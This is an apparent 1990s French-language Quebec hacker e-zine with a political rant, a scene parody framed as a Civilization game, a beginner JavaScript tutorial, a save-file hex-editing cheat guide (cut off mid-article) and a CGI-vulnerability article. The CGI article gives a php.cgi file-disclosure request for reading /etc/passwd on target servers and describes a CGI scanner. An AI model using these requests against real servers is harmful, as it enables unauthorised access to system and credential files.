Vont tre a la Mad max et je ne croit pas que se sois une bonne chose..
Il nous faut des leader, des homme de coeur et  de  fois  pas  des gros
tata qui pense par la force et  par  la  guerre  du  genre Fonc dans 
ltas. Une guerre se planifie  davance  Sa  se  prpare etpour sa il
faut des ttes des grosse ttes. Et il faut faire  Aussi  la diffrence
entre lanarchie et la Rvolution;(qui sont pour  but  pareil  mais par 
Mthode trs diffrente)

Vous  me  considr  peut-tre  comme un anarchiste, j ai lu des tas de
livre j ai crit plusieurs articles  jai prpar des plan jai tudier
les grands hommes de rvolution.  Je  suis  dans  le   domaine   depuis 
longtemps et pourtant je ne suis pas encore un  anarchiste,  pourquoi!? 
Je prne lanarchie soit mais c est surtout  parce  que JE ne peut-tre 
un Anarchiste mais NOUS pouvons tre Anarchiste  il  ny  a  pas de JE.
Mais sachez que je ne suis pas un petit rebel qui dit  tre  anarchiste
pour se pens hot! Je ne suis pas non plus un petit Fuck le systme 
parce que lanarchie en soit  est  un systme.. cest un systme de vie
sans loi et sans violence.


                          regarder le dialogue qui suis

-JR      Journaliste
-PD     Patron


-JR     Pourquoi cet homme est t il en colre?
-PD     Parce que je lui est dit de travailler plus vite
-JR     Combien le payer vous?
-PD     15$ par jour
-JR     et ou prenez vous largent pour le payer?
-PD     Je vend des produits
-JR     et qui fais les produit?
-PD     cet employer
-JR     pour une valeurs de combien de $ fabrique t il par jour?
-PD     pour 100$
-JR     Ok! En rsumer c est lui qui vous paye 85$ par jour pour se
        faire dire de travailler plus vite.
-PD     mais heu, les machines sont a moi!
-JR     Et comment avez vous eu ses machine?
-PD     jai vendu des produits
-JR     et qui a fabriquer ses produits?
-PD    heurentrons dans mon bureau on pourrait vous entendre.


Donc en rsumer  si  les  patron ne serai pas la vous vendriez vous mme 
les produits Et vous auriez largent du patron est votre propre argent.. 
vous travaillerez a la Vitesse que vous voulez et vous aurez la certitude 
de ne pas perdre votre emplois accause

Dun patron mcontent.


Bon cest bien beau tout sa mais que deviendras les coles;

Franchement je men fou mais vidament, les coles auront encore une
place mais je ne pense pas quil y auras autant de cour obligatoire
se qui veut dire que si tu veut aller en informatique. Tu perdras pas
ton hostie de temps avec des chites genre ducation physique ou Religion..


Bref  lanarchie se doit de triompher parce que l Anarchi   cest  Vivre.
Jespre que je n est pas perdus mon temps a vous parlez de quelque chose
Daussi flou mais au moin j aurai essayer.

NO RULE  ~  NO FUCK



                                                  [Gandalf]

 ___________________
[Quotes of the month]\____________________________
[Une quote de plus, une quote de moins peut importe
[il y en aura toujours une prochaine...            ]

                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.11]  _|_|     Quebecan Scene Snapshot 0389345389                                         
 \_________/_/                 So CalleD                    _ ______ __ _  _
                        Civilisation resolved             _/_/ [By:Qwzykx]  \
  ___________________ __________________ _________ ______/_/_ __ _ ___  _  _,]


Ya dj un gros 3 mois, vous pouviez assister live en simultan
stro shockwave ultra base boost with just  a  little  bit  of
treble set on the coche 8 on a range of  10  without  forgeting
the so useless digital  equalaer with servial  of  LED spinning
left and right. Je  disais  donc,  aprs ce si lourd programme,
comme  le  temps  passe une  modification  dans  la  suite  des
vnements s'impose et comme, technologie  oblige, j'ai dcider
d'updater / muter  le classique  Starcontrol 2  O'Vision.  Mais
pourquoi aller chercher dans le si  limpide  prsent  quand  on
peut  s'obstruer  la vue dans un passe encore  plus  gratifiant
(car vous devez faire l'effort de vous en  rappeler).  Et  j'ai
l'honneur de vous cre : Le seul, l'unique Civilisation O'vision.

Prenons le cas d'une game typique en mode Chef(easyest).Pour le
bien et la toute vraisemblance de cet  article, et  comme  j'ai
jouer 6h avec les Americans, ma donc prendre cette civilisation
d'on j'ai eu tout le temps de connatre leur leader Abe Lincoln.
Et comme cet article est grasieusement publier par iGA  inc, je
poserais donc que ma game ou Peuple sera le zine  ici  prsent,
que vous lisez avec tant de patience et animosit.

Alors au tout dbut il y avait...

Ha on commence avec un beau Setler,  disons  que  c'est  plutt 
ridicule comme fondement de la civilisation  (iGA ienne!)  Donc
on fonde notre ville : IGA (quelle originalit). Ha  le  peuple
est happy, on irrigue le sol pour avoir un peut  plus  de  foin
(slik and the..) et on attend  le next  turn que  nos armes en
cartons soit prtes.

Voil c'est fait, on explore in peu le continent (Qubec Scne).
Bah ya pas grand monde hein __2.. on continue  chercher..
Ha tien une p'tite cabane, et bin on vient de  trouver  comment
se spoofer! On continue.. Quand tout a coup, une  tribu bizarre
encore au stade embryonnaire (comme  nous  finalement).  Allons
les voir de plus prs.

-->UHA<-- Eil salut man.. tu serais pas intresser   faire  un
          change  de  knowlage?  Un virii en basica 3.0 contre
          ton spoof ? c'est un deal ?
-->iGA<-- Im not interest
-->UHA<-- Okay nice .. dans ce cas la c'est la guerre!
-->iGA<-- If you want so!

Alors vite on a besoin d'une batch de soldat en carton!
2 Turn after
Go to the UHA civilisation, bon on y va,  l'attaque!

==>UHA as been defeated by the civilisation of iGA<==

Bon  on  take-over la ville pis on est rendu avec un beau  spot
irrigu pis pas si mal placer (Uha as been assimilated  in  the
glorious civilisation of iGA).

Quelques inventions plus tard..
Voici que vient le temps de construire une merveille  du monde!
Pourquoi pas un Oracle, lieu de  prires  et  d'adoration  nous
voici donc  avec  une  population  grandissante! Ha  encore une
construction, les pyramides, so called K-line Killer 2.0

==>WHF as been defeated by the civilisation of iGA<==

Oups c'tait seulement rparti sur une seule ville  ca  la, qui
aurait crut.

Bon on continue  faire le tours du continent (Scne encore une
fois) ha mais tien donc,  voil  qu'un  un  autre  peuple  plus
avancer technologiquement que nous vient nous rencontrer we are
scared!

-->TC<-- Eil vous savez pas c'est quoi la culture des ressources
         naturel du continent (Eil c'est pas ca du hacking gang
         de leet).
-->iGA<-- Ha laisse-nous donc juger du temps ou y faut passez-la
          tondeuse.
-->TC<-- Eil checker ma technologie les gars toutes les  autres
         Civilisations me vnrent.
-->iGA<-- Ha bien alors disons qu'on fait  un  trait  de  paix
          devant tant de connaissance.
-->TC<-- Trait de paix? nah pas avec vous autres
-->iGA<-- Ok alors on change du knowlage?
-->TC<-- Un peuple comme vous autres ca mrite juste de  crev!

Donc on quitte le territoire pour se replier sur nos structures
prvoyant une destruction.. 
Quel bonheur on a le  Metal  Forging  (vive les lgions)  enfin
dbarrass des soldats en cartons. Donc on  met les lgions  au
bout de notre frontire pis on  fortifie  ca,  surtout  que  la
tranquillit de ce village depuis des  mois est  disparut  dans
une effervescence de troupes nouvelles. (On va mourir)

Non faut encore trouver du knowlage  qui  ont pas..  on  a  une
chance, on envoi donc 3 lgions  faire de  la  discovry afin de
trouver du knowlage dans des petites huttes en paille.
Ha merde!, une autre civilisation, mieux  vaudrait  envoyer  un 
diplomate voir de  quoi  ils  ont  l'air.  Les  rsultats  nous
montrent donc une  tribu  comme  l'tait  la  notre  jadis donc
technologiquement infrieur on a dj un problme sur les bras,
y en faudrait pas un deuxime, coupon l'herbe sous  le  pied et
passons la tondeuse sur cette ville.

==>NevrSee as been defeated by the civilisation of iGA<==

Ha merde, la ville a compltement disparut,  c'est  pas  grave.
On a pas encore fini notre qute, vite du knowlage! On  invente
les bateaux pis on part  la dcouverte!  Un autre  peuple, ish
lui aussi ya l'air assez powerfull, c'est  pas grave  on  a des
lgions.. ha eux autre aussi... Eil on va leur parler

-->iGA<-- Comme ca vous tes pas pire en knowlage?
-->Frhack<-- Bah c'est sur on est  pas  des barbares comme vous 
             autres  qui  dtruisez  de  simples  civilisations
             encore au stade embryonnaire.
-->iGA<-- Hee. he he he! :|
-->iGA<-- On  pourrait  pas  faire  un treade de connaissances?
-->Frhack<-- Nous autres on a rien   apprendre  de  barbares..
-->iGA<-- Okay, vous connaissez la civilisation de TC ?
-->Frhack<-- Bien sur, on a dj chang du knowlage mais de ce
             temps sit, on dirait qui se brasse des choses  par
             la.
-->iGA<-- Eil je propose un deal, Dclare leur  la  guerre,  je
          suis prs a payer!
-->Frhack<-- Noway, c'est avec toi que ma la faire  la  guerre!
             Nuisance civilise!

Ouins ben  moi  je  rembarque dans  le boat pis je fous le camp
d'icit. Bon on a inventer la gun poudwer  la  fuck les  lgions 
on fait des Mousquetaires. Ha tien  tien  voil TC qui  revient 
nous voir  avec  un  diplomate  nous  proposant  une  alliance.
Humm sa sonne louche  ca  la.  Dispatcher  de  Diplomate. Ha ha
voil le pourquoi de la chose, TC  commence    s'puis,  pour
dvelopper son knowlege ya fallut qui baisse  les  taxes,  y se
retrouve donc avec pus de cash pour faire  des  armes  pis ses
constructions cote trop  cher   entretenir, il doit donc s'en
dpartir. Notre diplomate nous informe que le mme trait a t
voqu avec Frhack. Nous refusons l'offre d'alliance  pour  des
raisons de, prjuge faites par ce groupe ultrieurement. Aprs
tout, on est rendu au mme niveau qu'eux technologiquement,  on
a mme invent la philosophie !

==>TC as  been  defeated  (Disaper  for  no  support  during an
   internal riot) <==

Bon un boute de moins sur le  continent,  vaut  mieux  en  rire
qu'en pleurer, on Expend.

Notre civilisation n'arrte pas de  grandir  et  la  population 
afflue de partout, on a si bien structurer nos villes  et notre
politique : Roi--> peuple que ceux-ci ne sentent pas le  besoin
de se rebeller au contraire ils offrent  leurs  services. Ha la
paix demeurent et notre  civilisation  s'panouit  de  jours en
jours. Le clan Frhack aussi  grandit mais  pas  sa  population.
Mme si notre armada de diplomate est plus grande que la leurs,
on sent qu'il serait prilleux de commencer  une croisade  vers 
leur rgion. On va quand mme envoyer  2 diplomates pour  leurs
soutirer de l'information. On a russit  avoir une base sur la
thorie  nuclaire  (Linux),  mais  on  a  dj  commencer  les
technologies appliquer comme les chars d'assaut (Socket annoyng
family write by __2).  Mais  sans  le  savoir,  du  moins  sans
vraiment le vouloir, nos diplomates on incits  une  rvolte au
sain de leurs civilisations, est-ce notre  rgime  Monarchique?
Peu importe, l'argent diminue donc dans les coffres  de  l'tat
et Frhack doit se dpartir de prcieuses cration qu'il ne peut
plus entretenir. Voyant le rsultat de notre  acte, l'assemble
vote pour une trve dfinitive de la  rencontre  arme  ou  mal
intentionnelle avec ce peuple.

Ainsi soit t-il!

Un autre peuple voit le  jour,  Phreak.fr.  Nous  allons  leurs
parler  et  entretenons   des  lors  des   rapports  d'changes
commerciaux et sociologique intressent, sans bavures. Bien que
ce peuple prouve  de  rcent  problme  de  famine (vous  avez 
oublier d'irriguer les gars) on attend toujours leurs prochains
zines, des que l'ordre sera revenu.

Et voici une autre petite  tribu  nomme  TSA,  on  avait  bien
faillit la dtruire dans les conditions de  survies  du  dbut,
et a notre grande  surprise  notre  diplomate  agre  Wyzeman a
russit  mettre sur table un  pacte de paix alliant  nos  deux
civilisations. Pourquoi inventer deux fois la mme chose  quand
on peut en inventer deux pour le mme temps!

Nous voici donc  la croise des chemins,  l'avenir  nous  dira
probablement qui de ces  civilisations  russira  l'apoge  des 
programmes spatial (Eil les gars j'ai hacker un Gibson!)

En faisant le point sur l'volution de notre civilisation (iGA)
on voit bien que comme tout autres peuple, on a commencer  trs
petit dans un champ de bls mais pour faire face  la  lute  et
la critique des premires rencontres, on n'a pus que dvelopper
un mode de protection efficace.Okay on peut mme comparer notre
mthode volutive de barbares, soit, mais il  le  fallait  bien
pour perdre notre place dans les premiers  rang  du  top  FIVE.
Notre civilisation ne s'est pas  appuyer  sur  des  assises  du
pass pour rendre compte  de  son  potentiel,  au  contraire, a
chaques e-Zines, ce mme potentiel qui est toujours  renouvel.
(On sens Sarte et sa Mauvaise  Foi  ici la).  Avec  l'assurance
prise et le dsire de dvelopper plus la  technologie  dans  ce
20e sicle, la production de fantassins assurant notre  dfense
s'attnue peu a peu pour faire place  des projets constructifs
et volutifs. La barbarie s'tait bien, mais la  coop  sa  sera
meilleur! Mais attention, mme si nos esprits sont  axs sur un
monde de plus en plus pacifique, nous avons quand mme inventer
le projet Manhattan.
                              Bla Bla Bla phear we all
					gonna die! ..... Qwzykx

                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.12]  _|_|              Le JAVASCRIPT
 \_________/_/                 So CalleD                    _ ______ __ _  _
                   Pour les debutants qui debute le debut _/_/  [By:-cHr|5]  \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]


Salut, je vais vs prsenter le javascript:

First: Le javascript est totallement diffrent du java, le java
       script est en fait une version minimale qui sauto-execute
       un peu comme une batchfile ms-dos :-) Permet de creer des
       fonctionnaliters de plus, par exemple sur www.undernetsuxx.org
       les boutons des menus sont changeant quand on passe la sourie
       dessus grace justement a cela. Mais on peut faire mieux ou
       plus dangereux que ca :-)


Pour apprendre a exploiter le Javascript, il vous faut :

1. un browser qui reconnat le Javascript. {ie3+,n3+}
2. une solide connaissance du Html
3. un simple diteur de texte

NB: Pour se servir du javascript, on utilisera l'alphabet
ASCII classique non-etendus ( 128 caractres). Les caractres 
accentus comme  ou  ne peuvent tre employs que dans la zone 
texte. Voici qq notions de base :

**Pour utiliser un script java, il faut signaler au browser que vs
en utilisez un par la balise <SCRIPT LANGUAGE="Javascript">. 
De mme, il faudra informer le browser de la fin du script par la
balise </SCRIPT>.

**Vous pouvez insrer des commentaires ds vos scripts java, placs
les aprs //. De cette manire, tout ce qui est crit entre le // 
et la fin de la ligne sera ignor. Vous pouvez insrer des commentaires
sur plusieurs lignes:

/* commentaire sur plusieurs lignes */.


**Pour masquer le script pour les anciens browsers :

<SCRIPT LANGUAGE="javascript">
<!-- Masquer le script pour les browsers
     le script // Cesser de masquer le script -->
</SCRIPT>


* L'alert():
-----------

<SCRIPT LANGUAGE="JavaScript">

 window.alert(" ")

</SCRIPT>

Cette instruction affiche un message (dans le cas prsent votre texte
entre les guillemets) dans une boite de dialogue pourvue d'un bouton 
OK. Pour continuer dans la page, on devra cliquer ce bouton.

* Write():
---------
<SCRIPT LANGUAGE="Javascript">
<!--
document.write("<H1>Ceci est du Javascript</H1>");
//-->
</SCRIPT>
Cette instruction permettra d'afficher le txt "Ceci est du Javascript"
 sur la page.

* J'ai pas trouv de titre :)) :
--------------------------------

On peut utiliser diffrentes "fcts" ( .big(), .small(), .blink() ) pour 
remplacer des balises HTML (dans ce cas-ci : <BIG> </BIG>, <SMALL> </SMALL>, 
<BLINK> </BLINK> ).

Exemple :

Je veux crire en javascript la phrase www.undernetsuxx.org en grand 
(en javascript) : (il y a plusieurs possibilit d'crire cette phrase 
en voil 2)

<SCRIPT LANGUAGE="JavaScript">

str="www.undernetsuxx.org"   // variable initialiser

document.write("<BIG>"+str +"</BIG>")
</SCRIPT>			

		ou

<SCRIPT LANGUAGE="JavaScript">

document.write('<BIG>Something</BIG>')

</SCRIPT>


* Les couleurs :
----------------

Au lieu d'utiliser parexemple, la balise :
<BGCOLOR="#000000" TEXT="#FFFFFF" LINK="#FF00FF" VLINK="#800080" ALINK="#FF00FF"> 
pour dterminer les diffrentes couleurs ( des liens, du fond, etc...) d'une page html,
on peut encore une fois se servir du javascript.

document.bgColor
----------------

Cette instruction permet de spcifier la couleur d'arrire-plan d'un objet
document. On peut employer le nom ou la valeur RGB de la couleur.

document.bgColor="white"; // document.bgColor="#FFFFFF";	



document.fgColor
----------------

Cette instruction permet de spcifier la couleur d'avant-plan (texte) d'un objet document.
On peut employer le nom ou la valeur RGB de la couleur.

document.fgColor="black"; // document.fgColor="#000000";	


document.alinkColor
-------------------

Cette instruction permet de spcifier la couleur d'un lien actif (aprs le click
de la souris mais avant de quitter le lien) d'un objet document. On peut employer
le nom ou la valeur RGB de la couleur.

document.alinkColor="white"  // document.alinkColor="#FFFFFF";	


document.linkColor
------------------

Cette instruction permet de spcifier la couleur d'un hyperlien d'un objet 
document. On peut employer le nom ou la valeur RGB de la couleur.
document.linkColor="white"; // document.linkColor="#FFFFFF";	


document.vlinkColor
-------------------

Cette instruction permet de spcifier la couleur d'un hyperlien dj visit
d'un objet document. On peut employer le nom ou la valeur RGB de la couleur.
document.linkColor="white";document.linkColor="#FFFFFF";


Voil j'espre que cette ptite intro sur le javascript vouss aura plu...A+	                                                  
                                                                   

                                                                   [-cHr|5-]					

 ___________________
[Quotes of the month]\____________________________
[Have Stomac Burn will not let you past a BK
[eat trip, but you may regret it the next morning...]


                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.13]  _|_|               CGI FLAWS
 \_________/_/                 So CalleD                    _ ______ __ _  _
                     Scanning and more sous win32         _/_/   [By:__2]    \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]



Quest-ce qu'un CGI ? Il s'agit du terme Common Gateway Interface ou si vous
cherchez dans le plus simple, il s'agit dun genre d'executable qui peut faire
quelques operations interessantes et cela a distance. Par exemple, le compteur
sur undernetsuxx.org est un CGI, un cgi simple qui compte le nombre de 
visionnement de la page. Cest tout simple, certains sont plus puissant et
gere directement les fichiers systemes d'un disque et c'est la que ca devient
interessant. Un programme existe deja sous linux depuis quelques mois qui
permet de scanner un domaine [www] et dy trouver tout les fichiers cgi's
capable d'etre utiliser a fin de hacking. Voici donc des exemples classiques,
le plus vieux cgi exploitable est sans nul doute le PHP.Cgi, la jentend deja
certains me repondre "boring old crappy shit" mais c'est prouver, ca existe
encore.. voici un exemple classique:

Http://www.targethost.com/cgi-bin/php.cgi?/etc/passwd 

Et oui, ca permet de voir nimporte quel fichier de facon arbitraire sur
le diske du serveur , meme la password list dans certains cas. Il y en a
biensur bcoup d'autres tel que le test-cgi, le phf le count.cgi [vous 
savez le fameux compteur de tout a lheure], le classique wwwboard.pl 
[ici il s'agit de perl, un autre type "d'executable"]. Donc en gros mon
programme scan comme sur linux pour tout les trous pouvant etre penetrer
mais pour Windows :-) Oh thats sound good.


Wwwscan.exe est le programme et il vient avec le mag, pour les librairies
requise n'oubliez pas d'allez downloader sur le site : vb6libs.zip et de
l'installer [ICQ fermer sinon ca plante]. Dans le programme vous avez 
quelques configurations a entrer et 3 boites qui sont dans l'ordre:

(1) - La DUMP BOX,
(2) - La Results BOX,
(3) - La Debug BOX.


Dans la premiere boite, on peut voir les commandes locales, dans la
seconde boite on voit les resultats. C'est-a-dire tel ou tel CGI que
mon programme a trouver :-) Dans la derniere cest tout simplement les
operations directes faitent via le SOCKET[INTERNET] c'est tjour pratique :}

Donc si vous voyez par exemple:

Flaw Found : GET /etc/passwd dans la results box c'est que le passwd [fichier
users d'un systeme linux] c'est que vous pouvez taper via Internet Explorer
ou Netscape un URL du genre HTTP://www.targethost/etc/passwd. Thats Right?

Pour avoir plus d'information sur un CGI ou un PERL speciale, c'est a dire
comment faire un exploit dessus, vous allez sur www.yahoo.com et tapez le nom
du cgi suivit de exploit, c'est le gros classique. Par exemple:

Search: Count.cgi exploit

Vous risquez den apprendre des bonnes :]

Pour finir cette article, le fichiers laws.txt est d'un format tres simple:

ITEM_NAME
ITEM_CONTENT
...
#
#

les 2 # marquent la fin du fichier.
et ITEM_NAME est le nom de l'exploit tandis que le ITEM_CONTENT est plutot
le contenu. Par exemple:

Cgi PHP
GET /CGI-BIN/PHP.CGI /HTTP/1.0

Vous pouvez donc en ajoutez a votre gres, la liste deja presente n'est vraiment
pas complete. Il se peut bien que je release de nouvelles listes sur le site IGA
dans les semaines a venir. Donc enjoy this new toy.


NB: Ceci est un article qui ressemble bien a celle de putois qui n'est malheureusement
pas parus pour la raison quon a tout simplement perdu son article, on s'excuse et comme
on doit faire vite on n'a pas pus rejoindre un europeen qui est la 2h par jour sur le
net et cela quand on dort. Milles excuses a putois.


                                                                     __2.
 ___________________
[Quotes of the month]\____________________________
[A infrared keybord will not be affect by ne hackerz...
[Have you ever see a hacker hacking a keybord?         ] 


                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.14]  _|_|         Save File under busting
 \_________/_/                 So CalleD                    _ ______ __ _  _
                            Cheaters use drug            _/_/  [By:Qwzykx]   \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]



Et oui, je m'adresse  vous,les vieux de la vielle,les rescapes
de la vague,  tous ceux qui n'ont pas surfs mais qui sont bien
rests les deux pieds sur terre,  vous  tous  je  ne  peux  que 
qu'admirer votre loyaut mais j'ai la triste et ardue  tache  de
vous discriminer, de vous expulser hors de ce notpad car ce  que
je vais crire  l'aide d'un clavier 102 touches, vous le  savez
dj,encore une fois milles regrets,veuillez agrer l'expression
de mes sentiments les plus distingus, je vous prie de croire en
l'expression de mes sincres salutations,  cordialement  vtre ,
Qwzykx !

Alors pour vous tous qui tes encore avec nous,vous tous qui avez
braver  l'ocan  afin  de  surfer  et  ce  sans  prendre  trop de
bouillons, vous tous qui fessez  partie  de gang CoOl et BrAnCHeZ
today on va faire un brainstorming  la, comment dirais-je, je ne
sais trop, disons  simplement que dans un monde corrompu, vous le
serez un peu plus! Ce que je vous  propose  n'ayez  crainte n'est
pas illgal, du moins je l'espre  aprs tout,  c'est  pour cette
ventualit que Wyzeman fais  des  disclams.  Non  ce  n'est  pas
illgal mais disons plutt  que c'est  moralement discutable mais
aprs tout, tous le monde  triche de nos jours, mme les gamblers
(Le scoop ici la).

Alors tout va comme suit :
Ha qui sont beau les moineaux,
les p'tits, les gros, les moineaux
ils ont manger les raisins
ils ont crachs les ppins, les ppins, les ppins
si cette histoire vous ennuie, ennuie, ennuie les amis
pour vous dsennuyer, ben on va la recommencer.

Solo !
Excusez-la!

Bref!
Responsabilit. nannana Responsabilit.  nnananan Responsabilit!

Bon mo j'pette ma coche pis je scrap mon francais!
Back on the track v.2.20
Donc  oublier  ce lger  contretemps mais  vous avouerez qui a de
quoi de  valorisant quand  ont pense que  cette chanson  de notre
patrimoine d'enfance des  hautes terres va tre immortalise sous
l'imprimante d'un  local d'info au  secondaire ou sous celle d'un
respectable bureau mdiatique, qui sait! C'est la qu'on  voit que
chaques lettres  peses et poses dans ce texte cote  l'tat la
modique somme de 1$ en encre (pure spculation,une chose est sur,
ya srement un kid qui va avoir un devoir imprimer en  gris  pale
se dgradant vers le blanc  cause de nous aprs tout!)

Bon alors le but de cet article contrairement aux autres  est  de
vous enseigner  vous dmarder, et ce, avec les  moyens  du  bord
c'est--dire une bire, un cran saupoudr d'acariens,l'expertise
de cet article et bien sur, un maximum de chance!
Mais pourquoi m'acharnerai-je  vous expliquer  ce  que  je  veux
vous montrer, je vais plutt  vous donner un exemple tout en vous
expliquant les  rudiments  de la old faschon  du  temps.  ( comme
personne en parle!)
Alors mise en situation :
Vous venez de jouer  un magnifique jeu et comme c'est pas un jeu
chien disons, vous pouvez sauvegarder votre partie. Puis vient un
temps ou, mme une fois sauvegarder,  vous ne  pouvez  poursuivre 
votre qute dans ce dit jeu, il vous  faut  donc  un petit boost.
Mais Oh malheur, shame on you, le patch ou le trainer pour ce  si
sublime jeu n'est pas encore disponible et pour les codes, disons
simplement que vous allez devoir les faire venir par un mercenaire
 5000$ l'unit.

Mais que faire pour palier  ce si imposent dilemme?
Et  oui  vous  avez  deviner:  continuer  de  lire  cet  article!
Imaginer vous comme concepteur d'un jeu du genre...  par exemple,
Civilisation (the great old one) ici  je tiens   vous  dire  que
c'est un choix personnel ou plutt une limite personnelle mais le
principe  est  le  mme  pour  des  jeux plus rcents. Alors pour
pratiquer cette opration,  il vous faudra  un  patient,  c'est 
dire votre save file, facilement identifiable par son nom souvent
illicite et hors  contexte, par  exemple :  Civil0.SVG ou  encore
Save4.SAV. Si vous avez peur de vous perdre ou si vous savez  pas
trop quel save file est reli avec quel partie sauve ,dites-vous
que souvent dans la premire ligne  du save file se trouve le nom
de votre game sauv.  A ce  moment-ci  de notre courte rencontre,
vous aurez devin que le  but de ce texte est de vous apprendre 
tricher ou plutt,hacker vos saves games,rien de vraiment illgal,
aprs tout,c'est votre save game,votre cration!  Le truc propos
est simple, mme trop  simple,  toute  fois il  se peut que cette
technique ne soit pas infaillible par exemple, il se peut que les
donnes soit encriptes dans le save  game et  ca  m'est  arriver
qu'une seule fois, ou encore l'inverse, que les  donnes que vous
allez rentrer soit tellement over  sized que le  jeu fuck,  je me
rappelle  une game  de  UFO2  ou j'avais un  commandent de niveau
"Carabine Blasta Sonic". Donc on ne changera que des valeurs dans
ce save file,ces valeurs sont habituellement et trs probablement
les suivantes :
Dans les jeux  de  stratgies ( Warcraft, Command & Conquer..) le
classique et trs capitaliste CASH suivit du bois etc. Finalement
vous  serez pas invisible mais vous  contrlrer  la  richesse  du
royaume et comme tout le monde sait : Qui sera matre de l'pice,
sera matre du monde! Tandis que dans les  jeux  d'actions ,  vos
points, votre amos ainsi que vos  stats  pourront  tres  disons,
mtamorphoser en  super points, super amos et super  stats  aprs
X--------------Un break point philosophique juste ne  bas! --------------X
tout vous penser pas que le jeu avec votre  machine  se  continue
mme aprs un EOF et je dirais mme plus, la ou le EOF  commence,
le jeu se continue, pas avec la machine, mais avec le programmeur
du jeu! Ouhaaa j'en ai des frissons  pens comme ca,je  veux pas
avoir l'air plat ou pessimiste mais le seul  moyen  de  contrler
votre ordinateur  c'est de cod un virus en  assembleur  qui  ira
killer  toute  votre  HDD  et  ces  donnes  pervertit   par  des
programmeurs que vous  ne connaissez,  aprs tout,  ces  eux  qui
utilisent votre ordinateur!
Revenons  nos moutons.
Alors vous  vous rappeler l'article sur les variables du bios que
j'ai cris dans ce mme zine?  Si vous  savez pas  c'est  quoi la
conversion hexadcimale/dcimal  ben vous  tes dans marde,  mais
pas temps que ca  je  vous  est  fourni  et  ce  gratuitement  un
convertisseur  dcimal  to  hexa,  HA!,  quel type ce Qwzykx mais
par  contre  vous  me  trouverez  moins drle quand je vous dirai 
qu'il  vous faudra  un  diteur  hexadcimal  afin  d'diter  vos
valeurs, ca va  beaucoup  plus vite, mais pour ceux qui ont rien,
je  me  rserve  une  section    la fin de  cet  article pour un 
DEBUG prog.editing, oui  c'est low  level mais  ca  marche  bien!
Alors allons-y ma gang de futurs p'tits RAZOR 911.
La premire tape dans une  telle situation  c'est  la possession
prs  de  sois  d'une  feuille  et  d'un  crayon, par  exprience 
personnelle  dans  le  pass, vitez un ami sauf s'il est capable
de pass le 20e niveau au p'tit jeu rouge,vert,bleu,jaune qui fait
bip bip  avec une squence qu'il faut rpter..  voyez  mes  amis 
taient pas fort  ce jeu l, par contre, ils excellaient dans le
clbre jeu du roi de la montagne,  exemple parfait de la pile  :
LIFO (Last in,first out!) tendis-que j'adoptais le contraire FIFO
(first in,first out!). Aprs cette tape, il vous reste une tape
difficile  accomplir, "planifier vos besoins".
Voyez, le  nombre  de  points que vous avez   l'cran, le nombre
d'argent que vous possder ou peut importe le nombre, le rsultat
est le mme, l'ordinateur  le sauvegarde dans un fichier et comme
celui-ci  fonctionne  en  hexadcimal,  votre  butin  sera  alors 
transformer en butin hexadcimal:
Exemple : 2945 de gold --> 0681 hexa (prenez l'habitude de foutre
un zro devant le premier  chiffre de facon  toujours former des
couples (groupe de 2) en hexa ca vas vous viter des erreurs plus
tard,par contre si les chiffres sont dj en couple (donc maris)
ne rajouter  pas  de zro  pour rien  ca pourrait  etre un cas de
divorce!). En suite quand je parlais  de  "planifier vos besoins"
je parlais de sauvegarder  votre  game quand vous  avez un nombre
"batard" de cash ou de points peu importe  pourvut que le chiffre
ne sois pas rond ou trop commun par exemple  si vous  sauvegarder
en commencant la partie alors que vous avez en poche 1000$, il se
peut que dans le save game la valeur 1000  soit  utilis  aussi ,
comme dans le jeu Warcraft, toutes les units commencent  avec le
mme nombre de cash  et  quand  vous  enregistrez  votre  partie,
l'argent  de  vos ennemis  est  aussi  enregistr  il  sera alors
difficile de retrouver  la valeur exacte,  VOTRE valeur.  Si vous 
sauvegarder la partie lorsque  vous n'avez plus un rond ou encore
lorsque vous en avez peu, encore une fois les problmes s'offrent
 vous car le fichier .SAV est  avant  tout une base de donne et 
celle-ci  contient  d'autres  informations,  comme  le  nombre de
building, votre  emplacement et  il y a pleins de 0 (espace vide)
donc vous risquerer de chercher longtemps. Un autre truc, lorsque
c'est possible,  sauvegardez  sur le plus gros  montant possible,
lorsque votre  valeur  excde  le nombre  255, votre chiffre sera
alors inscrit sur  deux espaces mmoire  dans  votre  fichier  de
sauvegarde,ce qui vous facilitera la tache car il est plus facile
de trouver une srie de chiffre qu'un seul chiffre :
Exemple :  
Si j'ai 77$ en hexa --->    4d
si j'ai 4429$ en hexa -> 11 4d
Donc si je cherche avec "4d" je risque d'avoir tous les "4d"
qui  peuvent se  trouver dans  le  save file.  Je rduis donc les
chances d'erreurs  en  maximisant  ou  en prcisant  ma recherche
 l'aide de deux octets au-lieu d'un seul. Et  non  il nous reste
encore quelques difficults  surmonter avant de pouvoir s'amuser.
Premirement chez INTEL les donnes sont inscrite  l'envers dans
la mmoire, c'est la que le truc des couples de chiffres d'on  je
vous est fait part tento vas tre utile. Si par exemple,j'ai 537$
en hexa --> 219 donc 0219 mais comme chaques espaces mmoire  est
sur huit bits on a deux espaces mmoire dans ce cas ci : 02 et 19
il faut maintenant les inverss (toujours en couple, ce n'est pas
les  chiffres  que l'ont inverse  mais bien les octets.)
On obtient alors ceci : 19 02
et c'est  exactement  ceci  que vous  devrez  chercher dans votre
save game : 19 02
Pour cette partie  "recherche"  si  vous voyez plus que deux fois
votre  nombre  sortir,  vous  pouvez  toujours  vous essayer  en
changer un dans  l'espoir que ca fonctionne (mais faite un backup
on sait  jamais)  Et  si vous  penser en  programmeurs  vous avez
peut-tre aussi la gniale  ide de  commencer votre programme de
sauvegarde de facon structurer  c'est--dire les informations les
plus importantes au dbut et le reste  la fin, c'est pourquoi ce
que vous chercher se trouve souvent au dbut du fichier. Alors si
je reprends l'exemple de tento : 19 02 
Viens maintenant le temps de modifier  le  contenue  de  l'espace
